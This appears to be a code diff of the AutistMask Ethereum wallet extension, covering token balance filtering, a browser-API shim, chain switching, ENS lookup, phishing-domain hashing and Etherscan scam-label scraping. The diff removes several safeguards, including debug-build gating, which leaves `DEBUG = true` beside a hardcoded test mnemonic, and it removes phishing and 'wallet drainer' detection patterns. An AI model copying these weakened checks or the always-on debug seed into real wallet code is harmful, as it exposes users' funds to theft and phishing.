// through to the views, where the two low-holder filters treat
|
||||
// an unknown count as "do not judge" rather than as zero.
|
||||
const holders = parseHoldersCount(item.token.holders_count);
|
||||
const holders = parseInt(item.token.holders_count || "0", 10);
|
||||
const isKnown = TOKEN_BY_ADDRESS.has(tokenAddr);
|
||||
const isTracked = trackedSet.has(tokenAddr);
|
||||
const hasEnoughHolders =
|
||||
holders !== null && holders >= LOW_HOLDER_THRESHOLD;
|
||||
const hasEnoughHolders = holders >= 1000;
|
||||
|
||||
// Skip spam tokens the user never asked to see
|
||||
if (!isKnown && !isTracked && !hasEnoughHolders) continue;
|
||||
|
||||
// Skip tokens spoofing a known symbol from a different address.
|
||||
// Every row here is an ERC-20 the explorer reported, so it has a
|
||||
// contract address; the native ETH balance is fetched over RPC in
|
||||
// refreshBalances and never passes through this loop.
|
||||
if (isSpoofedSymbol(item.token.symbol, tokenAddr)) continue;
|
||||
// Skip tokens spoofing a known symbol from a different address
|
||||
const sym = (item.token.symbol || "").toUpperCase();
|
||||
const legitAddr = KNOWN_SYMBOLS.get(sym);
|
||||
if (
|
||||
legitAddr !== undefined &&
|
||||
legitAddr !== null &&
|
||||
tokenAddr !== legitAddr
|
||||
)
|
||||
continue;
|
||||
|
||||
balances.push({
|
||||
address: item.token.address_hash,
|
||||
name: item.token.name || "",
|
||||
symbol: item.token.symbol || "???",
|
||||
// null means the explorer reported no usable scale — unknown,
|
||||
// not 18. Distinguishable from a real 18 at read time is the
|
||||
// entire point: resolveTokenDecimals() falls through a null to
|
||||
// its refusal, and takes an 18 as the answer.
|
||||
decimals: decimals,
|
||||
// null means nothing anywhere knows the scale, so there is no
|
||||
// token quantity to state. Not "0.0": a nonzero holding shown
|
||||
// as zero is the same lie in the balance list that the
|
||||
// approval screens refuse to tell.
|
||||
balance: bal,
|
||||
holders: holders,
|
||||
});
|
||||
@@ -203,15 +100,9 @@ async function fetchTokenBalances(address, blockscoutUrl, trackedTokens) {
|
||||
}
|
||||
|
||||
// Fetch ETH balances, ENS names, and ERC-20 token balances for all addresses.
|
||||
async function refreshBalances(
|
||||
wallets,
|
||||
rpcUrl,
|
||||
blockscoutUrl,
|
||||
trackedTokens,
|
||||
networkId,
|
||||
) {
|
||||
async function refreshBalances(wallets, rpcUrl, blockscoutUrl, trackedTokens) {
|
||||
log.debugf("refreshBalances start, rpc:", rpcUrl);
|
||||
const provider = getProvider(rpcUrl, networkId);
|
||||
const provider = getProvider(rpcUrl);
|
||||
const updates = [];
|
||||
|
||||
for (const wallet of wallets) {
|
||||
@@ -284,9 +175,9 @@ async function refreshBalances(
|
||||
|
||||
// Look up token metadata from its contract.
|
||||
// Calls symbol() and decimals() to verify it implements ERC-20.
|
||||
async function lookupTokenInfo(contractAddress, rpcUrl, networkId) {
|
||||
async function lookupTokenInfo(contractAddress, rpcUrl) {
|
||||
log.debugf("lookupTokenInfo", contractAddress, "rpc:", rpcUrl);
|
||||
const provider = getProvider(rpcUrl, networkId);
|
||||
const provider = getProvider(rpcUrl);
|
||||
const contract = new Contract(contractAddress, ERC20_ABI, provider);
|
||||
|
||||
let name, symbol, decimals;
|
||||
@@ -326,9 +217,9 @@ async function lookupTokenInfo(contractAddress, rpcUrl, networkId) {
|
||||
// Checks gapLimit addresses in parallel per batch. Stops when an entire
|
||||
// batch has no used addresses (i.e. gapLimit consecutive empty addresses).
|
||||
// Returns { addresses: [{ address, index }], nextIndex }.
|
||||
async function scanForAddresses(xpub, rpcUrl, networkId, gapLimit = 5) {
|
||||
async function scanForAddresses(xpub, rpcUrl, gapLimit = 5) {
|
||||
log.debugf("scanForAddresses start, gapLimit:", gapLimit);
|
||||
const provider = getProvider(rpcUrl, networkId);
|
||||
const provider = getProvider(rpcUrl);
|
||||
const used = [];
|
||||
let checked = 0;
|
||||
let checkUpTo = gapLimit;
|
||||
@@ -382,7 +273,6 @@ async function scanForAddresses(xpub, rpcUrl, networkId, gapLimit = 5) {
|
||||
}
|
||||
|
||||
module.exports = {
|
||||
fetchTokenBalances,
|
||||
refreshBalances,
|
||||
lookupTokenInfo,
|
||||
getProvider,
|
||||
|
||||
@@ -1,280 +0,0 @@
|
||||
// The one place in this tree that names `browser` or `chrome`.
|
||||
//
|
||||
// The two targets do not agree on the namespace, and they disagree about the
|
||||
// call shape only in which one is native. Chrome MV3 exposes `chrome.*`,
|
||||
// where tabs, windows and messaging take a trailing callback and report
|
||||
// failure through the global `chrome.runtime.lastError`. Firefox MV2 exposes
|
||||
// `browser.*`, where those same methods return promises — but, measured on
|
||||
// Firefox 153.0.3, it ALSO honours a trailing Chrome-style callback, returns
|
||||
// no promise when one is given, and populates `browser.runtime.lastError`.
|
||||
// The callback code that predated this module therefore ran on both, and
|
||||
// https://git.eeqj.de/sneak/AutistMask/issues/153 was filed on the belief
|
||||
// that it did not. This module exists for uniformity, not for repair: the
|
||||
// tree used to resolve the namespace with a ternary at six call sites and
|
||||
// then mix promise-form storage with callback-form messaging.
|
||||
//
|
||||
// The strategy is promises out, everywhere: one namespace, one call shape,
|
||||
// composing with the `async` handlers in the background. Callers `await`;
|
||||
// nothing outside this file has to know which browser it is running on.
|
||||
//
|
||||
// Two deliberate asymmetries, because they are what the browsers actually do
|
||||
// rather than what a uniform-looking shim would pretend:
|
||||
//
|
||||
// - Storage is called in its PROMISE form on both namespaces.
|
||||
// `chrome.storage.local.get()` returns a promise on MV3 and the popup
|
||||
// already depends on that — src/shared/state.js has always awaited it.
|
||||
// Wrapping it in a callback here would be a change, not a fix.
|
||||
// - notify() sends without a callback. It is for a message whose answer
|
||||
// nobody reads; appending a callback would only manufacture a
|
||||
// lastError/rejection for a receiver that was never expected to reply.
|
||||
//
|
||||
// Everything is resolved on use rather than captured at module load. The MV3
|
||||
// service worker is torn down and re-evaluated repeatedly, and the unit
|
||||
// suite installs its stubs on `global.chrome` around a require().
|
||||
|
||||
// The extension API namespace, preferring `browser.*` where it exists.
|
||||
//
|
||||
// Whole-namespace, never per-method: mixing `browser.tabs` with
|
||||
// `chrome.windows` would also mix promise and callback semantics inside a
|
||||
// single call path, which is the bug this module exists to remove.
|
||||
function extensionApi() {
|
||||
if (typeof browser !== "undefined" && browser) return browser;
|
||||
if (typeof chrome !== "undefined" && chrome) return chrome;
|
||||
return null;
|
||||
}
|
||||
|
||||
// True when the resolved namespace is the promise-flavoured one.
|
||||
//
|
||||
// It doubles as "this is the Gecko/MV2 build", which is a second question
|
||||
// with the same answer and one real caller: src/content/index.js has to
|
||||
// inject the inpage provider itself there, because MV2 has no
|
||||
// `"world": "MAIN"` for a manifest-declared content script.
|
||||
function hasBrowserNamespace() {
|
||||
return typeof browser !== "undefined" && !!browser;
|
||||
}
|
||||
|
||||
function namespaceMember(name) {
|
||||
const api = extensionApi();
|
||||
return (api && api[name]) || null;
|
||||
}
|
||||
|
||||
function runtimeApi() {
|
||||
return namespaceMember("runtime");
|
||||
}
|
||||
|
||||
function tabsApi() {
|
||||
return namespaceMember("tabs");
|
||||
}
|
||||
|
||||
function windowsApi() {
|
||||
return namespaceMember("windows");
|
||||
}
|
||||
|
||||
function alarmsApi() {
|
||||
return namespaceMember("alarms");
|
||||
}
|
||||
|
||||
// The toolbar button. MV3 calls it `action`, MV2 calls it `browserAction`.
|
||||
function actionApi() {
|
||||
const api = extensionApi();
|
||||
if (!api) return null;
|
||||
return api.action || api.browserAction || null;
|
||||
}
|
||||
|
||||
// `storage.local`, or null in a context that has no storage permission.
|
||||
//
|
||||
// Null rather than a throw for the one caller that genuinely degrades:
|
||||
// src/shared/phishingDomains.js falls back to its vendored blocklist and does
|
||||
// its own null check. Everything that reads or writes the wallet goes through
|
||||
// storageGet()/storageSet(), which reject instead — see there.
|
||||
function storageLocal() {
|
||||
const storage = namespaceMember("storage");
|
||||
return (storage && storage.local) || null;
|
||||
}
|
||||
|
||||
// The callback-path error channel. Read only from inside an appended
|
||||
// callback, i.e. only on the `chrome.*` path, where it is the sole way a
|
||||
// failure is reported. The background's three explicit lastError checks are
|
||||
// gone because invoke() turns it into a rejection before any caller sees it.
|
||||
function lastError() {
|
||||
const runtime = runtimeApi();
|
||||
return (runtime && runtime.lastError) || null;
|
||||
}
|
||||
|
||||
// Call `owner[method](...args)` and return a promise for its result.
|
||||
//
|
||||
// On the promise namespace the method already returns one. On the callback
|
||||
// namespace the callback is appended here and lastError becomes a rejection,
|
||||
// because a caller holding a promise has nowhere to check a global flag.
|
||||
function invoke(owner, method, ...args) {
|
||||
if (!owner || typeof owner[method] !== "function") {
|
||||
return Promise.reject(
|
||||
new Error(
|
||||
"extension API " +
|
||||
method +
|
||||
"() is not available in this context",
|
||||
),
|
||||
);
|
||||
}
|
||||
if (hasBrowserNamespace()) {
|
||||
try {
|
||||
return Promise.resolve(owner[method](...args));
|
||||
} catch (e) {
|
||||
return Promise.reject(e);
|
||||
}
|
||||
}
|
||||
return new Promise((resolve, reject) => {
|
||||
owner[method](...args, (result) => {
|
||||
const err = lastError();
|
||||
if (err) reject(new Error(err.message || String(err)));
|
||||
else resolve(result);
|
||||
});
|
||||
});
|
||||
}
|
||||
|
||||
/**
|
||||
* Send a message to the extension's own contexts and resolve with the reply.
|
||||
*
|
||||
* Rejects when nothing is listening, on both browsers. A caller that does not
|
||||
* care must say so — see notify().
|
||||
*
|
||||
* @param {Object} message
|
||||
* @returns {Promise<*>} the receiver's response.
|
||||
*/
|
||||
function sendMessage(message) {
|
||||
return invoke(runtimeApi(), "sendMessage", message);
|
||||
}
|
||||
|
||||
/**
|
||||
* Send a message nobody is expected to answer, and swallow the fact that
|
||||
* nobody did.
|
||||
*
|
||||
* @param {Object} message
|
||||
* @returns {void}
|
||||
*/
|
||||
function notify(message) {
|
||||
const runtime = runtimeApi();
|
||||
if (!runtime || typeof runtime.sendMessage !== "function") return;
|
||||
const result = runtime.sendMessage(message);
|
||||
// MV3 hands back a promise for a one-argument send, and it rejects when
|
||||
// the background is not listening. Unhandled, that surfaces as an error
|
||||
// the e2e suites fail the run on.
|
||||
if (result && typeof result.catch === "function") result.catch(() => {});
|
||||
}
|
||||
|
||||
// These two carry the wallet. A missing `storage.local` has to reject and not
|
||||
// default: resolving {} would make an existing wallet read back as no wallet,
|
||||
// and resolving a no-op write would discard the user's state with nothing
|
||||
// logged. A caller that wants to degrade takes storageLocal() directly.
|
||||
function storageUnavailable(method) {
|
||||
return Promise.reject(
|
||||
new Error("extension storage.local is not available: " + method),
|
||||
);
|
||||
}
|
||||
|
||||
/**
|
||||
* @param {string|string[]|Object} keys
|
||||
* @returns {Promise<Object>} the stored items.
|
||||
* @throws rejects where `storage.local` is absent.
|
||||
*/
|
||||
function storageGet(keys) {
|
||||
const storage = storageLocal();
|
||||
if (!storage) return storageUnavailable("get");
|
||||
return Promise.resolve(storage.get(keys));
|
||||
}
|
||||
|
||||
/**
|
||||
* @param {Object} items
|
||||
* @returns {Promise<void>}
|
||||
* @throws rejects where `storage.local` is absent.
|
||||
*/
|
||||
function storageSet(items) {
|
||||
const storage = storageLocal();
|
||||
if (!storage) return storageUnavailable("set");
|
||||
return Promise.resolve(storage.set(items));
|
||||
}
|
||||
|
||||
/**
|
||||
* Erase stored keys. The one caller is the destructive reset on the recovery
|
||||
* screen (src/popup/views/stateRecovery.js), which is the only way out of a
|
||||
* profile no build can read; it rejects rather than defaulting for the same
|
||||
* reason the two above do — a reset that silently did nothing would leave the
|
||||
* user in the dead end they were promised an exit from.
|
||||
*
|
||||
* @param {string|string[]} keys
|
||||
* @returns {Promise<void>}
|
||||
* @throws rejects where `storage.local` is absent.
|
||||
*/
|
||||
function storageRemove(keys) {
|
||||
const storage = storageLocal();
|
||||
if (!storage) return storageUnavailable("remove");
|
||||
return Promise.resolve(storage.remove(keys));
|
||||
}
|
||||
|
||||
/**
|
||||
* @param {Object} queryInfo
|
||||
* @returns {Promise<Array>} the matching tabs.
|
||||
*/
|
||||
function tabsQuery(queryInfo) {
|
||||
return invoke(tabsApi(), "query", queryInfo);
|
||||
}
|
||||
|
||||
/**
|
||||
* Send a message to one tab's content script.
|
||||
*
|
||||
* Rejects for a tab that has no receiver, which is most of them. That
|
||||
* rejection is the promise-shaped replacement for the runtime.lastError
|
||||
* checks the broadcast helpers used to make, and callers ignore it the same
|
||||
* way.
|
||||
*
|
||||
* @param {number} tabId
|
||||
* @param {Object} message
|
||||
* @returns {Promise<*>}
|
||||
*/
|
||||
function tabsSendMessage(tabId, message) {
|
||||
return invoke(tabsApi(), "sendMessage", tabId, message);
|
||||
}
|
||||
|
||||
/**
|
||||
* @param {Object} createData
|
||||
* @returns {Promise<Object>} the created window.
|
||||
*/
|
||||
function windowsCreate(createData) {
|
||||
return invoke(windowsApi(), "create", createData);
|
||||
}
|
||||
|
||||
/**
|
||||
* @returns {Promise<Object>} the last focused window.
|
||||
*/
|
||||
function windowsGetLastFocused() {
|
||||
return invoke(windowsApi(), "getLastFocused");
|
||||
}
|
||||
|
||||
/**
|
||||
* @param {number} windowId
|
||||
* @returns {Promise<void>}
|
||||
*/
|
||||
function windowsRemove(windowId) {
|
||||
return invoke(windowsApi(), "remove", windowId);
|
||||
}
|
||||
|
||||
module.exports = {
|
||||
actionApi,
|
||||
alarmsApi,
|
||||
extensionApi,
|
||||
hasBrowserNamespace,
|
||||
notify,
|
||||
runtimeApi,
|
||||
sendMessage,
|
||||
storageGet,
|
||||
storageLocal,
|
||||
storageRemove,
|
||||
storageSet,
|
||||
tabsApi,
|
||||
tabsQuery,
|
||||
tabsSendMessage,
|
||||
windowsApi,
|
||||
windowsCreate,
|
||||
windowsGetLastFocused,
|
||||
windowsRemove,
|
||||
};
|
||||
@@ -1,35 +0,0 @@
|
||||
// Build-time constants injected by esbuild define in build.js.
|
||||
// These globals are replaced at bundle time with string literals.
|
||||
|
||||
/* global __BUILD_VERSION__, __BUILD_LICENSE__, __BUILD_AUTHOR__,
|
||||
__BUILD_COMMIT__, __BUILD_COMMIT_FULL__, __BUILD_DATE__ */
|
||||
|
||||
const BUILD_VERSION =
|
||||
typeof __BUILD_VERSION__ !== "undefined" ? __BUILD_VERSION__ : "dev";
|
||||
const BUILD_LICENSE =
|
||||
typeof __BUILD_LICENSE__ !== "undefined" ? __BUILD_LICENSE__ : "GPL-3.0";
|
||||
const BUILD_AUTHOR =
|
||||
typeof __BUILD_AUTHOR__ !== "undefined"
|
||||
? __BUILD_AUTHOR__
|
||||
: "sneak <sneak@sneak.berlin>";
|
||||
const BUILD_COMMIT =
|
||||
typeof __BUILD_COMMIT__ !== "undefined" ? __BUILD_COMMIT__ : "unknown";
|
||||
const BUILD_COMMIT_FULL =
|
||||
typeof __BUILD_COMMIT_FULL__ !== "undefined"
|
||||
? __BUILD_COMMIT_FULL__
|
||||
: "unknown";
|
||||
const BUILD_DATE =
|
||||
typeof __BUILD_DATE__ !== "undefined" ? __BUILD_DATE__ : "unknown";
|
||||
|
||||
const GITEA_COMMIT_URL =
|
||||
"https://git.eeqj.de/sneak/AutistMask/commit/" + BUILD_COMMIT_FULL;
|
||||
|
||||
module.exports = {
|
||||
BUILD_VERSION,
|
||||
BUILD_LICENSE,
|
||||
BUILD_AUTHOR,
|
||||
BUILD_COMMIT,
|
||||
BUILD_COMMIT_FULL,
|
||||
BUILD_DATE,
|
||||
GITEA_COMMIT_URL,
|
||||
};
|
||||
@@ -1,41 +0,0 @@
|
||||
// Consolidated chain-switch handler for the popup.
|
||||
//
|
||||
// Every state change required when the active network changes is
|
||||
// performed here so that callers (settings UI, future chain additions) all go
|
||||
// through a single code path.
|
||||
//
|
||||
// Adding a new chain (e.g. ETC) requires only a new entry in
|
||||
// networks.js — no per-caller wiring is needed.
|
||||
//
|
||||
// The background does NOT come through here: this function mutates the
|
||||
// module-level `state` singleton, which the MV3 service worker never
|
||||
// populates, and a background switch performed on it wrote DEFAULT_STATE over
|
||||
// the user's whole profile
|
||||
// (https://git.eeqj.de/sneak/AutistMask/issues/316). The field mutations
|
||||
// themselves live in chainSwitchFields.js, which takes the record to mutate as
|
||||
// an argument; src/background/state.js applies them inside a read-modify-write
|
||||
// against storage, and the singleton is not reachable from the background
|
||||
// bundle at all (enforced by the ESLint rule in eslint.config.js).
|
||||
|
||||
const { applyChainSwitchFields } = require("./chainSwitchFields");
|
||||
const { clearPrices } = require("./prices");
|
||||
|
||||
// Switch the active chain and reset all chain-specific cached state.
|
||||
// Returns the network configuration object for the new chain.
|
||||
async function onChainSwitch(newNetworkId) {
|
||||
const { state, saveState } = require("./state");
|
||||
|
||||
const net = applyChainSwitchFields(state, newNetworkId);
|
||||
|
||||
// --- price cache ---
|
||||
// Prices are chain-specific (testnet tokens are worthless,
|
||||
// ETC has different pricing, etc.). In-memory and per bundle, so this is
|
||||
// the popup's own cache — the only context that ever fills it.
|
||||
clearPrices();
|
||||
|
||||
await saveState();
|
||||
|
||||
return net;
|
||||
}
|
||||
|
||||
module.exports = { onChainSwitch };
|
||||
@@ -1,69 +0,0 @@
|
||||
// The field mutations a chain switch performs, applied to a state record
|
||||
// handed in rather than to the module-level `state` singleton.
|
||||
//
|
||||
// Split out of chainSwitch.js so the background can perform a chain switch
|
||||
// without the singleton being reachable from its bundle at all. The popup
|
||||
// still goes through onChainSwitch() (chainSwitch.js), which applies this to
|
||||
// the singleton and saves; the background applies it to the detached record of
|
||||
// its own read-modify-write (src/background/state.js).
|
||||
//
|
||||
// Everything here is synchronous and touches nothing but the object it is
|
||||
// given: no storage, no caches, no imports beyond the network table. That is
|
||||
// what makes it usable on a record that has been read fresh from storage
|
||||
// microseconds earlier and is about to be written back.
|
||||
|
||||
const { networkById } = require("./networks");
|
||||
|
||||
// Switch `s` to `newNetworkId` and reset every piece of chain-specific state
|
||||
// it carries. Returns the network configuration object for the new chain.
|
||||
function applyChainSwitchFields(s, newNetworkId) {
|
||||
const net = networkById(newNetworkId);
|
||||
|
||||
// --- core identity ---
|
||||
// Endpoints are remembered per network rather than reset to the
|
||||
// defaults, because a user who points the wallet at their own node has
|
||||
// no way to get that URL back once it is gone: overwriting it moved
|
||||
// every address and every transaction onto a third-party endpoint
|
||||
// silently and permanently.
|
||||
//
|
||||
// s.rpcUrl / s.blockscoutUrl stay the live endpoints of the active
|
||||
// network, so nothing that reads them changes. The invariant is that for
|
||||
// the ACTIVE network those two fields are authoritative and the map entry
|
||||
// may be stale (Settings writes the fields directly); for every other
|
||||
// network the map is authoritative. Snapshotting the outgoing network
|
||||
// here, before the switch, is what reconciles them.
|
||||
if (!s.networkEndpoints) s.networkEndpoints = {};
|
||||
s.networkEndpoints[s.networkId] = {
|
||||
rpcUrl: s.rpcUrl,
|
||||
blockscoutUrl: s.blockscoutUrl,
|
||||
};
|
||||
const remembered = s.networkEndpoints[net.id] || {};
|
||||
s.networkId = net.id;
|
||||
s.rpcUrl = remembered.rpcUrl || net.defaultRpcUrl;
|
||||
s.blockscoutUrl = remembered.blockscoutUrl || net.defaultBlockscoutUrl;
|
||||
|
||||
// --- balance / refresh state ---
|
||||
// Reset last-refresh timestamp so the next polling cycle
|
||||
// triggers an immediate balance refresh on the new chain.
|
||||
s.lastBalanceRefresh = 0;
|
||||
|
||||
// Clear per-address balances and token balances so stale data
|
||||
// from the previous chain is never displayed while the first
|
||||
// refresh on the new chain is in flight.
|
||||
for (const wallet of s.wallets || []) {
|
||||
for (const addr of wallet.addresses || []) {
|
||||
addr.balance = "0";
|
||||
addr.tokenBalances = [];
|
||||
}
|
||||
}
|
||||
|
||||
// --- chain-specific caches ---
|
||||
// Token holder counts and fraud contract lists are
|
||||
// chain-specific and must not carry over.
|
||||
s.tokenHolderCache = {};
|
||||
s.fraudContracts = [];
|
||||
|
||||
return net;
|
||||
}
|
||||
|
||||
module.exports = { applyChainSwitchFields };
|
||||
@@ -1,32 +1,8 @@
|
||||
// DEBUG is a build-time constant injected by esbuild's define in build.js
|
||||
// (see src/shared/buildInfo.js for the same pattern). It is false unless the
|
||||
// bundle was produced with AUTISTMASK_DEBUG=1, and it is false whenever the
|
||||
// module is loaded outside a bundle (tests, plain require). It must never be
|
||||
// derived from anything the user can change at runtime: it is what gates the
|
||||
// hardcoded test mnemonic below.
|
||||
/* global __BUILD_DEBUG__ */
|
||||
const DEBUG = typeof __BUILD_DEBUG__ !== "undefined" ? __BUILD_DEBUG__ : false;
|
||||
|
||||
// Machine-readable record of the compiled DEBUG state, read out of the emitted
|
||||
// bundles by script/verify-build. It is derived from DEBUG itself so the two
|
||||
// cannot disagree, and it is a plain string literal rather than a minifier
|
||||
// artifact like `DEBUG:!1`, so the check does not depend on esbuild's output
|
||||
// staying byte-stable across versions.
|
||||
//
|
||||
// The ambiguity is the point. When DEBUG is known at build time the bundler
|
||||
// folds this to exactly one of the two literals. When it is not — which is
|
||||
// exactly what happens if the __BUILD_DEBUG__ define goes missing from
|
||||
// build.js — the ternary survives, both literals appear in the bundle, and
|
||||
// verify-build fails rather than guessing.
|
||||
const BUILD_DEBUG_MARKER = DEBUG
|
||||
? "autistmask-build-debug=on"
|
||||
: "autistmask-build-debug=off";
|
||||
|
||||
const DEBUG = true;
|
||||
const DEBUG_MNEMONIC =
|
||||
"cube evolve unfold result inch risk jealous skill hotel bulb night wreck";
|
||||
|
||||
const ETHEREUM_MAINNET_CHAIN_ID = "0x1";
|
||||
const ETHEREUM_SEPOLIA_CHAIN_ID = "0xaa36a7";
|
||||
|
||||
const DEFAULT_RPC_URL = "https://ethereum-rpc.publicnode.com";
|
||||
|
||||
@@ -44,29 +20,12 @@ const ERC20_ABI = [
|
||||
"function approve(address spender, uint256 amount) returns (bool)",
|
||||
];
|
||||
|
||||
// Known null/burn addresses that permanently destroy funds.
|
||||
const BURN_ADDRESSES = new Set([
|
||||
"0x0000000000000000000000000000000000000000",
|
||||
"0x0000000000000000000000000000000000000001",
|
||||
"0x000000000000000000000000000000000000dead",
|
||||
"0xdead000000000000000000000000000000000000",
|
||||
"0x00000000000000000000000000000000deadbeef",
|
||||
]);
|
||||
|
||||
function isBurnAddress(address) {
|
||||
return BURN_ADDRESSES.has(address.toLowerCase());
|
||||
}
|
||||
|
||||
module.exports = {
|
||||
DEBUG,
|
||||
BUILD_DEBUG_MARKER,
|
||||
DEBUG_MNEMONIC,
|
||||
ETHEREUM_MAINNET_CHAIN_ID,
|
||||
ETHEREUM_SEPOLIA_CHAIN_ID,
|
||||
DEFAULT_RPC_URL,
|
||||
DEFAULT_BLOCKSCOUT_URL,
|
||||
BIP44_ETH_PATH,
|
||||
ERC20_ABI,
|
||||
BURN_ADDRESSES,
|
||||
isBurnAddress,
|
||||
};
|
||||
|
||||
@@ -1,41 +0,0 @@
|
||||
// The one definition of how a domain becomes a blocklist entry.
|
||||
//
|
||||
// The vendored phishing blocklist ships digests, not domain names: see
|
||||
// phishingDomains.js for why, and script/vendor-blocklist for how the artifact
|
||||
// is produced. Both sides have to agree exactly — a mismatch would silently
|
||||
// match nothing, which is a blocklist that quietly protects no one — so the
|
||||
// rule lives here and is required by both rather than written down twice.
|
||||
//
|
||||
// sha256 truncated to 64 bits. Truncation is what keeps the artifact small
|
||||
// enough to bundle (16 hex characters per entry rather than 64), and 64 bits is
|
||||
// far past what this has to withstand: over ~10^5 entries the chance that any
|
||||
// hostname a user visits collides with an entry it is not is about 10^-14 per
|
||||
// lookup, and a deliberate collision buys an attacker a false phishing warning
|
||||
// on a site they do not control, not a missed one. For scale, Safe Browsing
|
||||
// distributes 32-bit prefixes and resolves the rest against a server; this is
|
||||
// 32 bits more, with no server involved.
|
||||
|
||||
const { sha256, toUtf8Bytes } = require("ethers");
|
||||
|
||||
const HASH_ALGORITHM = "sha256";
|
||||
const HASH_HEX_CHARS = 16;
|
||||
|
||||
/**
|
||||
* The blocklist entry for a domain: lowercased, hashed, truncated.
|
||||
*
|
||||
* @param {string} domain
|
||||
* @returns {string} HASH_HEX_CHARS lowercase hex characters, no 0x prefix.
|
||||
*/
|
||||
function hashDomain(domain) {
|
||||
// ethers returns "0x" + 64 hex characters.
|
||||
return sha256(toUtf8Bytes(domain.toLowerCase())).slice(
|
||||
2,
|
||||
2 + HASH_HEX_CHARS,
|
||||
);
|
||||
}
|
||||
|
||||
module.exports = {
|
||||
HASH_ALGORITHM,
|
||||
HASH_HEX_CHARS,
|
||||
hashDomain,
|
||||
};
|
||||
@@ -1,10 +1,6 @@
|
||||
// Cached ENS reverse resolution.
|
||||
// Resolves addresses to ENS names via ethers provider.lookupAddress(),
|
||||
// caching results in localStorage with a 12-hour TTL.
|
||||
//
|
||||
// POPUP ONLY. localStorage does not exist in the Chrome MV3 service worker,
|
||||
// so this module must not be pulled into src/background/. Anything the
|
||||
// background context needs to cache goes in extension storage instead.
|
||||
|
||||
const { getProvider } = require("./balances");
|
||||
const { log } = require("./log");
|
||||
@@ -32,11 +28,11 @@ function setCache(address, name) {
|
||||
localStorage.setItem(key, JSON.stringify({ name, ts: Date.now() }));
|
||||
}
|
||||
|
||||
async function resolveEnsName(address, rpcUrl, networkId) {
|
||||
async function resolveEnsName(address, rpcUrl) {
|
||||
const cached = getCached(address);
|
||||
if (cached !== undefined) return cached;
|
||||
|
||||
const provider = getProvider(rpcUrl, networkId);
|
||||
const provider = getProvider(rpcUrl);
|
||||
try {
|
||||
const name = (await provider.lookupAddress(address)) || null;
|
||||
setCache(address, name);
|
||||
@@ -48,11 +44,11 @@ async function resolveEnsName(address, rpcUrl, networkId) {
|
||||
}
|
||||
}
|
||||
|
||||
async function resolveEnsNames(addresses, rpcUrl, networkId) {
|
||||
async function resolveEnsNames(addresses, rpcUrl) {
|
||||
const results = new Map();
|
||||
await Promise.all(
|
||||
addresses.map(async (addr) => {
|
||||
results.set(addr, await resolveEnsName(addr, rpcUrl, networkId));
|
||||
results.set(addr, await resolveEnsName(addr, rpcUrl));
|
||||
}),
|
||||
);
|
||||
return results;
|
||||
|
||||
@@ -1,107 +0,0 @@
|
||||
// Etherscan address label lookup via page scraping.
|
||||
// Extension users make the requests directly to Etherscan — no proxy needed.
|
||||
// This is a best-effort enrichment: network failures return null silently.
|
||||
|
||||
// Patterns in the page title that indicate a flagged address.
|
||||
// Title format: "Fake_Phishing184810 | Address: 0x... | Etherscan"
|
||||
const PHISHING_LABEL_PATTERNS = [/^Fake_Phishing/i, /^Phish:/i, /^Exploiter/i];
|
||||
|
||||
// Patterns in the page body that indicate a scam/phishing warning.
|
||||
const SCAM_BODY_PATTERNS = [
|
||||
/used in a\s+(?:\w+\s+)?phishing scam/i,
|
||||
/used in a\s+(?:\w+\s+)?scam/i,
|
||||
/wallet\s+drainer/i,
|
||||
];
|
||||
|
||||
/**
|
||||
* Parse the Etherscan address page HTML to extract label info.
|
||||
* Exported for unit testing (no fetch needed).
|
||||
*
|
||||
* @param {string} html - Raw HTML of the Etherscan address page.
|
||||
* @returns {{ label: string|null, isPhishing: boolean, warning: string|null }}
|
||||
*/
|
||||
function parseEtherscanPage(html) {
|
||||
// Extract <title> content
|
||||
const titleMatch = html.match(/<title[^>]*>([^<]+)<\/title>/i);
|
||||
let label = null;
|
||||
let isPhishing = false;
|
||||
let warning = null;
|
||||
|
||||
if (titleMatch) {
|
||||
const title = titleMatch[1].trim();
|
||||
// Title: "LABEL | Address: 0x... | Etherscan" or "Address: 0x... | Etherscan"
|
||||
const labelMatch = title.match(/^(.+?)\s*\|\s*Address:/);
|
||||
if (labelMatch) {
|
||||
const candidate = labelMatch[1].trim();
|
||||
// Only treat as a label if it's not just "Address" (unlabeled addresses)
|
||||
if (candidate.toLowerCase() !== "address") {
|
||||
label = candidate;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// Check label against phishing patterns
|
||||
if (label) {
|
||||
for (const pat of PHISHING_LABEL_PATTERNS) {
|
||||
if (pat.test(label)) {
|
||||
isPhishing = true;
|
||||
warning = `Etherscan labels this address as "${label}" (Phish/Hack).`;
|
||||
break;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// Check page body for scam warning banners
|
||||
if (!isPhishing) {
|
||||
for (const pat of SCAM_BODY_PATTERNS) {
|
||||
if (pat.test(html)) {
|
||||
isPhishing = true;
|
||||
warning = label
|
||||
? `Etherscan labels this address as "${label}" and reports it was used in a scam.`
|
||||
: "Etherscan reports this address was flagged for phishing/scam activity.";
|
||||
break;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
return { label, isPhishing, warning };
|
||||
}
|
||||
|
||||
/**
|
||||
* Fetch an address page from Etherscan and check for scam/phishing labels.
|
||||
* Returns a warning object if the address is flagged, or null.
|
||||
* Network failures return null silently (best-effort check).
|
||||
*
|
||||
* Uses the current network's explorer URL so the lookup works on both
|
||||
* mainnet (etherscan.io) and Sepolia (sepolia.etherscan.io).
|
||||
*
|
||||
* @param {string} address - Ethereum address to check.
|
||||
* @returns {Promise<{type: string, message: string, severity: string}|null>}
|
||||
*/
|
||||
async function checkEtherscanLabel(address) {
|
||||
try {
|
||||
// Lazy require to avoid pulling in chrome.storage at module scope
|
||||
// (which breaks unit tests that only exercise parseEtherscanPage).
|
||||
const { currentNetwork } = require("./state");
|
||||
const etherscanBase = currentNetwork().explorerUrl + "/address/";
|
||||
const resp = await fetch(etherscanBase + address, {
|
||||
headers: { Accept: "text/html" },
|
||||
});
|
||||
if (!resp.ok) return null;
|
||||
const html = await resp.text();
|
||||
const result = parseEtherscanPage(html);
|
||||
if (result.isPhishing) {
|
||||
return {
|
||||
type: "etherscan-phishing",
|
||||
message: result.warning,
|
||||
severity: "critical",
|
||||
};
|
||||
}
|
||||
return null;
|
||||
} catch {
|
||||
// Network errors are expected — Etherscan may rate-limit or block.
|
||||
return null;
|
||||
}
|
||||
}
|
||||
|
||||
module.exports = { parseEtherscanPage, checkEtherscanLabel };
|
||||
@@ -1,32 +0,0 @@
|
||||
